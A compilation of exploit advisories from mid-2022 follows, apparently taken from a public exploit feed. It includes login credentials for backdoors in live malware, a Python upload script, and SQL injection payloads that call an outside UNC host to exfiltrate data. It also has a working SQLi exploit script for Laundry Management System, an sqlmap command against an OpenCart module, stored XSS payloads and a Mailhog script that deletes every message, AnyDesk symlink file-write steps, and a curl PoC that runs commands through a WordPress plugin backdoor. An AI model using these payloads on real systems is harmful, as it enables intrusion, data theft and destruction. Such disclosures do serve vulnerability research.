<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/20daf01e941f966b21a7ae431faefc65.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.EvilGoat.b<br />Vulnerability: Weak Hardcoded Credentials<br />Description: The malware listens on TCP port 13014. Authentication is required, however the credentials "evilgoat / penix" are weak and found within the PE file.<br />Family: EvilGoat<br />Type: PE32<br />MD5: 20daf01e941f966b21a7ae431faefc65<br />Vuln ID: MVID-2022-0619<br />Dropped files: ftpsvr.exe<br />Disclosure: 06/29/2022<br /><br />Exploit/PoC:<br />telnet.exe x.x.x.x 13014<br /><br />220 FTP Server<br />USER evilgoat<br />331 Password required for evilgoat.<br />PASS penix<br />230 User evilgoat logged in.<br />SYST<br />500 'SYST': command not understood.<br />PASV<br />227 Entering Passive Mode (192,168,18,125,236,209)<br />CDUP \<br />250 CWD command successful.<br />STOR DOOM.exe<br />150 Opening BINARY mode data connection for file transfer.<br />226 Upload Complete, 25602 bytes sent.<br /><br />from socket import *<br /><br />MALWARE_HOST="192.168.18.125"<br />PORT=60625<br />DOOM="DOOM.exe"<br /><br />def doit():<br /> s=socket(AF_INET, SOCK_STREAM)<br /> s.connect((MALWARE_HOST, PORT))<br /><br /> f = open(DOOM, "rb")<br /> EXE = f.read()<br /> s.send(EXE)<br /><br /> while EXE:<br /> s.send(EXE)<br /> EXE=f.read()<br /><br /> s.close()<br /><br /> print("By Malvuln");<br /><br />if __name__=="__main__":<br /> doit()<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/a8fc1b3f7a605dc06a319bf0e14ca68b.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Cafeini.b<br />Vulnerability: Weak Hardcoded Credentials<br />Description: The malware listens on TCP ports 51966 and 23. Authentication is required, however the password "mama" is weak and found within the PE file. Moreover, the FTP server running on non standard port 23 also uses same password. Trying to execute a program incorrectly you get reply like, "STATUS I can't run program", as it requires the full path to the file to execute.<br />Family: Cafeini<br />Type: PE32<br />MD5: a8fc1b3f7a605dc06a319bf0e14ca68b<br />Vuln ID: MVID-2022-0617<br />Disclosure: 06/29/2022<br /><br />Exploit/PoC:<br />C:\>nc64.exe x.x.x.x 51966<br />CAFEiNi 1.1<br />Enter your password:<br />mama<br />C:\Users\victim\Desktop>whoami<br />whoami<br />STATUS: unknown command "WHOAMI"<br />C:\Users\victim\Desktop>exec c:\Windows\system32\calc.exe<br />exec c:\Windows\system32\calc.exe<br />STATUS: program runned<br />C:\Users\victim\Desktop><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>## Title: Fruits-Bazar 2021 v1.0 SQLi<br />## Author: nu11secur1ty<br />## Date: 06.29.2022<br />## Vendor: https://github.com/creativesaiful<br />## Software: https://github.com/creativesaiful/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar-<br />## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Md-Saiful-Islam-creativesaiful/2021/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar<br /><br />## Description:<br />The recover_email parameter appears to be vulnerable to SQL injection attacks.<br />The attacker can take access to all accounts on this system.<br />Status: CRITICAL<br /><br />[+] Payloads:<br /><br />```mysql<br />---<br />Parameter: recover_email (POST)<br /> Type: boolean-based blind<br /> Title: OR boolean-based blind - WHERE or HAVING clause (NOT)<br /> Payload: recover_email=cNCbIfqe@nama1k@t1putkat@mang@lsk@.net'+(select<br />load_file('\\\\kym3yjdn7xn8kasrttyp7av9x03trsqghj5bs1gq.namaikatiputkatam@ng@ls@.com\\olg'))+''<br />OR NOT 9177=9177 AND 'HeFM'='HeFM&u_pass_recover=Recover Password<br /><br /> Type: error-based<br /> Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or<br />GROUP BY clause (FLOOR)<br /> Payload: recover_email=cNCbIfqe@nama1k@t1putkat@mang@lsk@.net'+(select<br />load_file('\\\\kym3yjdn7xn8kasrttyp7av9x03trsqghj5bs1gq.namaikatiputkatam@ng@ls@.com\\olg'))+''<br />AND (SELECT 6160 FROM(SELECT COUNT(*),CONCAT(0x7178627171,(SELECT<br />(ELT(6160=6160,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM<br />INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND<br />'Mvga'='Mvga&u_pass_recover=Recover Password<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: recover_email=cNCbIfqe@nama1k@t1putkat@mang@lsk@.net'+(select<br />load_file('\\\\kym3yjdn7xn8kasrttyp7av9x03trsqghj5bs1gq.namaikatiputkatam@ng@ls@.com\\olg'))+''<br />AND (SELECT 4612 FROM (SELECT(SLEEP(5)))vECZ) AND<br />'qfSm'='qfSm&u_pass_recover=Recover Password<br />---<br /><br />```<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Md-Saiful-Islam-creativesaiful/2021/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar)<br /><br />## Proof and Exploit:<br />[href](https://streamable.com/ngodwj)<br /><br />-- <br />System Administrator - Infrastructure Engineer<br />Penetration Testing Engineer<br />Exploit developer at https://packetstormsecurity.com/<br />https://cve.mitre.org/index.html and https://www.exploit-db.com/<br />home page: https://www.nu11secur1ty.com/<br />hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=<br /> nu11secur1ty <http://nu11secur1ty.com/><br /></code></pre>
<pre><code># Exploit Title: Laundry Management System 1.0 - Authenticated SQL Injection<br /># Date: 29-06-2022<br /># Exploit Author: syad<br /># Vendor Homepage: https://www.sourcecodester.com<br /># Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ci_laundry.zip<br /># Version: 1.0<br /># Tested on: Windows 10 + XAMPP 3.2.4<br /># CVE ID : N/A<br /><br /># Description <br /># The dari parameter does not perform input validation on the laporan_filter.php file it allow authenticated SQL Injection<br /><br /><br /><br /><br />import sys<br />import requests<br />sess = requests.Session()<br /><br />proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}<br /><br />def login(ip,username,password):<br /> target = "http://%s/ci_laundry/welcome/login" % ip<br /> daftar = {'username':username,'password':password}<br /> masuk = sess.post(target, data=daftar, proxies=proxies)<br /> if "Dashboard" in masuk.text:<br /> print("[$] Success Login :)")<br /> else:<br /> return False<br /><br /><br />def trigger_sqli(ip):<br /> target = "http://%s/ci_laundry/pengeluaran/laporan_filter" % ip<br /> sql = {"dari":"1'",'sampai':'123'}<br /> test = sess.post(target, data=sql, proxies=proxies)<br /> if "You have an error in your SQL syntax" in test.text:<br /> print("[$] Trigger SQL Injection !!!! :)")<br /> else:<br /> return False<br /><br /><br />def count_column(ip):<br /> target = "http://%s/ci_laundry/pengeluaran/laporan_filter" % ip<br /> sql = {"dari":"1' ORDER BY 14-- -",'sampai':'123'}<br /> test = sess.post(target, data=sql, proxies=proxies)<br /> if test.status_code == 200:<br /> print("[$] Found 14 Column In Database !!! :)")<br /> <br /><br />def got_database_name(ip):<br /> target = "http://%s/ci_laundry/pengeluaran/laporan_filter" % ip<br /> sql = {"dari":"1' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14-- -",'sampai':'123'}<br /> test = sess.post(target, data=sql, proxies=proxies)<br /> if "laundry_db" in test.text:<br /> print("[$] Found Database Name is => laundry_db")<br /><br />def got_version_data(ip):<br /> target = "http://%s/ci_laundry/pengeluaran/laporan_filter" % ip<br /> sql = {"dari":"1' union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14-- -",'sampai':'123'}<br /> test = sess.post(target, data=sql, proxies=proxies)<br /> if "10.4.24-MariaDB" in test.text:<br /> print("[$] Found Version Database is => 10.4.24-MariaDB")<br /><br /><br /><br />if __name__ == "__main__":<br /> try:<br /> ip = sys.argv[1].strip()<br /> username = sys.argv[2].strip()<br /> password = sys.argv[3].strip()<br /> except IndexError:<br /> print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])<br /> print("[-] Example: %s 192.168.1.x admin admin123" % sys.argv[0])<br /> sys.exit(-1)<br /><br /><br />login(ip,username,password)<br />trigger_sqli(ip)<br />count_column(ip)<br />got_database_name(ip)<br />got_version_data(ip)<br /></code></pre>
<pre><code># Exploit Title: AnyDesk allow arbitrary file write by symbolic link attack lead to denial-of-service attack on local machine<br /># Google Dork: [if applicable]<br /># Date: 24/5/2022<br /># Exploit Author: Erwin Chan<br /># Vendor Homepage: https://anydesk.com/en<br /># Software Link: https://anydesk.com/en<br /># Version: 7.0.9<br /># Tested on: Windows 11<br /><br /><br /><br />It was found that AnyDesk (version 7.0.9) was vulnerable to arbitrary file<br />write by symbolic link attack leading to denial-of-service attack on local<br />machine. It was noted that two functions were affected.<br /><br />*Affected function A*<br />When there was a remote connection come in, a directory under AppData of<br />current user (without admin privilege) and a "ad.trace" file (i.e.,<br />"C:\Users\<user>\AppData\Roaming\AnyDesk") will be created by "AnyDesk.exe"<br />with "NT Authority\SYSTEM" privilege.<br /><br />*Affected function B*<br />After a connection was made, local or remote user could use the chat room.<br />The chat log was written to folder<br />"C:\Users\<user>\AppData\Roaming\AnyDesk\chat\" by "AnyDesk.exe" with "NT<br />Authority\SYSTEM" privilege. Or the local user (without admin privilege)<br />could change the location of the chat log to anywhere that he/she has<br />"Modify" privilege.<br /><br />*Vulnerability Summary*<br />Since the directories (i.e., "C:\Users\<user>\AppData\Roaming\AnyDesk\",<br />"C:\Users\<user>\AppData\Roaming\AnyDesk\chat\") were assigned with<br />"Modify" privilege for current user, current user could modify the entire<br />directory. With this setup, an unprivileged user is able to achieve<br />arbitrary file write by creating a symbolic link to a privileged location<br />(e.g., C:\Windows\System32). As a result, a malicious user could<br />potentially deny any service by overwriting the configuration or system<br />file of applications such as Anti Virus solutions. It was noted that the<br />file content could be manipulated in affected function B such that a low<br />privileged user could write an arbitrary file to an arbitrary location.<br /><br />*Affected function A: Exploit steps by local user (without admin privilege)*<br /><br /> 1. Remove the directory "C:\Users\<user>\AppData\Roaming\AnyDesk"<br /> 2. Create symbolic link of "ad.trace" file to a privileged location<br /> (e.g., C:\Windows\System32\test.file) (PoC binary could be found here:<br /> https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt<br /> )<br /><br /><br /> 1. Connect to local machine (target machine) from a remote machine.<br /> After the connection was initiated, the content of "ad.trace" file would be<br /> written to target file (e.g., C:\Windows\System32\test.file)<br /><br />*Affected function B: Exploit steps by local user (without admin privilege)*<br /><br /> 1. edit username of remote connector<br /><br /><br /> 1. Establish a AnyDesk connection from remote. Enter arbitrary text into<br /> the chat box. Mark down the filename of chat log<br /><br /><br /> 1. Remove the directory "C:\Users\<user>\AppData\Roaming\AnyDesk\chat"<br /> 2. Create symbolic link of chat log file (e.g., 657584961.txt) to a<br /> privileged location (e.g., C:\Windows\test.conf) (PoC binary could be found<br /> here:<br /> https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt<br /> )<br /><br /><br /> 1. Open the chat room and enter arbitrary content into it. After that,<br /> the content of chat room would be written to target file (e.g.,<br /> C:\Windows\test.conf)<br /><br /><br />Please let me know if any detail need further. Thanks<br /><br />Regards,<br />Erwin<br /></code></pre>
<pre><code># Exploit Title: OpenCart v3.x So Filter Shop By - Blind SQL Injection<br /># Date: 28/06/2022<br /># Exploit Author: Saud Alenazi<br /># Vendor Homepage: https://www.opencart.com/<br /># Software Link: https://codecanyon.net/item/so-filter-shop-by-responsive-opencart-module/13945633<br /># Version: V3.X<br /># Tested on: XAMPP, Linux<br /># Contact: https://twitter.com/dmaral3noz<br /><br /><br />* Description :<br /><br />So Filter Shop By Module is compatible with any Opencart allows SQL Injection via parameter 'att_value_id , manu_value_id , opt_value_id , subcate_value_id ' in /index.php?route=extension/module/so_filter_shop_by/filter_data. <br />Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.<br /><br /><br />* Sqlmap command :<br /><br />sqlmap -u 'http://127.0.0.1/index.php?route=extension/module/so_filter_shop_by/filter_data' --data "att_value_id=saud&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud" -p "att_value_id" --method POST --level=5 --risk=3 --dbs --random-agent<br /><br />Request :<br /><br />===========<br /><br />POST /index.php?route=extension/module/so_filter_shop_by/filter_data HTTP/1.1<br />Content-Type: application/x-www-form-urlencoded<br />Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />Accept-Encoding: gzip,deflate<br />Content-Length: 29<br />Host: 127.0.0.1<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0<br />Connection: Keep-alive<br /><br />att_value_id=1&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70%2C72%2C75%2C74%2C73%2C71&product_id_in=70%2C72%2C75%2C74%2C73%2C71&subcate_value_id=&text_search=saud<br /><br /><br />===========<br /><br />Output :<br /><br />Parameter: att_value_id (POST)<br /> Type: boolean-based blind<br /> Title: OR boolean-based blind - WHERE or HAVING clause<br /> Payload: att_value_id=-7402) OR 6808=6808 AND (4992=4992&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: att_value_id=1) AND (SELECT 6365 FROM (SELECT(SLEEP(5)))qqBP) AND (7704=7704&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_value_id=&product_arr_all=70,72,75,74,73,71&product_id_in=70,72,75,74,73,71&subcate_value_id=&text_search=saud<br /><br /><br /><br /><br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin ‘Simple Page Transition’ - Stored Cross<br />Site Scripting<br /># Date: 27-06-2022<br /># Exploit Author: Mariam Tariq - HunterSherlock<br /># Vendor Homepage: https://wordpress.org/plugins/simple-page-transition/<br /># Version: 1.4.1<br /># Tested on: Firefox<br /># Contact me: mariamtariq404@gmail.com<br /><br /><br />*#Vulnerable code*:<br /><br />```<br /><label for="simple_page_transition_ignored"><?php _e( 'Ignored Download<br />Links', 'spt' ); ?></label><br /><br /><input type="text" id="simple_page_transition_ignored"<br />name="simple_page_transition_ignored" value="*<?php print<br />$simple_page_transition_ignored; ?>*" /><br /><br /><br />```<br />*#POC:*<br /><br />1- Install the plugin ‘simple page transition’ & activate it.<br />2- Navigate towards the “ignored download links”<br />3- Enter the XSS payload ` *“><img src=x onerror=alert(1)>*`<br /><br />*#POC image:*<br /><br />https://imgur.com/yzaTkhi<br /></code></pre>
<pre><code># Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)<br /># Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)<br /># Date: 06.18.2022<br /># Exploit Author: Vulnz<br /># Vendor Homepage: https://github.com/mailhog/MailHog<br /># Software Link: https://github.com/mailhog/MailHog<br /># Version: 1.0.1<br /># Tested on: Windows,Linux,Docker<br /># CVE : N/A<br /><br />Explanation:<br />Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including email deletion, sending, reading or any other call.<br /><br />Steps to reproduce:<br /> 1. Create malicious attachment with payloads stated below<br /> 2. Attach malicious file to email with payload (XSS)<br /> 3. Send email<br /> 4. Wait for victim to open email<br /> 5. Receive data, get control of victim browser using Beef framework, or manipulate with API data<br /><br /><br />Proof of Concept:<br /><br /><script><br /><br />var XMLHttpFactories = [<br /><br />function () {<br /><br /> return new XMLHttpRequest()<br /><br />},<br /><br />function () {<br /><br /> return new ActiveXObject("Msxml2.XMLHTTP")<br /><br />},<br /><br />function () {<br /><br /> return new ActiveXObject("Msxml3.XMLHTTP")<br /><br />},<br /><br />function () {<br /><br /> return new ActiveXObject("Microsoft.XMLHTTP")<br /><br />}<br /><br />];<br /><br />function createXMLHTTPObject() {<br /><br /> var xmlhttp = false;<br /><br /> for (var i=0;i<XMLHttpFactories.length;i++) {<br /><br /> try {<br /><br /> xmlhttp = XMLHttpFactories[i]();<br /><br /> }<br /><br /> catch (e) {<br /><br /> continue;<br /><br /> }<br /><br /> break;<br /><br /> }<br /><br /> return xmlhttp;<br /><br />}<br /><br />var xhr = createXMLHTTPObject();<br /><br />xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);<br /><br />xhr.onreadystatechange = function()<br /><br />{<br /><br /> if (xhr.readyState == 4)<br /><br /> alert("Request completed, with the following status code: " +<br />xhr.status);<br /><br />}<br /><br />xhr.send("");<br /><br /></script><br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin W-DALIL - Stored Cross Site Scripting<br /># Date: 27-06-2022<br /># Exploit Author: Mariam Tariq - HunterSherlock<br /># Vendor Homepage: https://wordpress.org/plugins/w-dalil/<br /># Version: 2.0<br /># Tested on: Firefox<br /># Contact me: mariamtariq404@gmail.com<br /><br />#Vulnerable Code:<br /><br />```<br /><input class="dalil_input" name="dalil-address" type="text"<br />placeholder="<?php echo __('Dalil item address','w-dalil'); ?>"<br />value="<?php echo $dalil_information['dalil-address']; ?>" /><br /><br />```<br /><br />#Steps To Reproduce :<br /><br />1 - First Install the plugin "*w-dalil*" and activate it.<br />2 - Go to Dalil —> Add New Dalil item<br />3 - Inside the “*Dalil item address*” enter XSS payload “*><img src=x<br />onerror=alert(1)>*" and hit enter.<br /><br />#Poc Image :<br /><br />https://imgur.com/JPG97oh<br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin Weblizar 8.9 - Backdoor<br /># Google Dork: 'wp-json/am-member/license'<br /># Exploit Author: Sobhan Mahmoodi<br /># Vendor Homepage: https://weblizar.com/plugins/school-management/<br /># Version: 8.9<br /># Tested on: windows/linux<br /><br />Vulnerable code:<br /><br />add_action( 'rest_api_init', function() {<br /> register_rest_route(<br /> 'am-member', 'license',<br /> array(<br /> 'methods' => WP_REST_Server::CREATABLE,<br /> 'callback' => function( $request ) {<br /> $args = $request->get_params();<br /> if ( isset( $args['blowfish'] ) && ! empty(<br />$args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] )<br />) {<br /> eval( $args['blowf'] );<br /> }<br /> };<br /> )<br /> );<br />} );<br /><br /><br />If you look at the code, the user code checks the parameters and finally executes the Blowf argument with the eval function. The Eval function is to take a string of PHP commands and execute it.<br /><br />In order to be able to exploit this vulnerability, it is enough to send a request such as the following request that according to the above code, the part with If should be set blowfish and blowf arguments and not empty, and<br />given that eval executes the blowf value , Our favorite command must also be in this argument.<br /><br />Proof of Concept:<br /><br />curl -s -d 'blowfish=1' -d "blowf=system('id');" '<br />http://localhost:8888/wp-json/am-member/license'<br /><br />uid=33(www-data) gid=33(www-data) groups=33(www-data)<br /><br /></code></pre>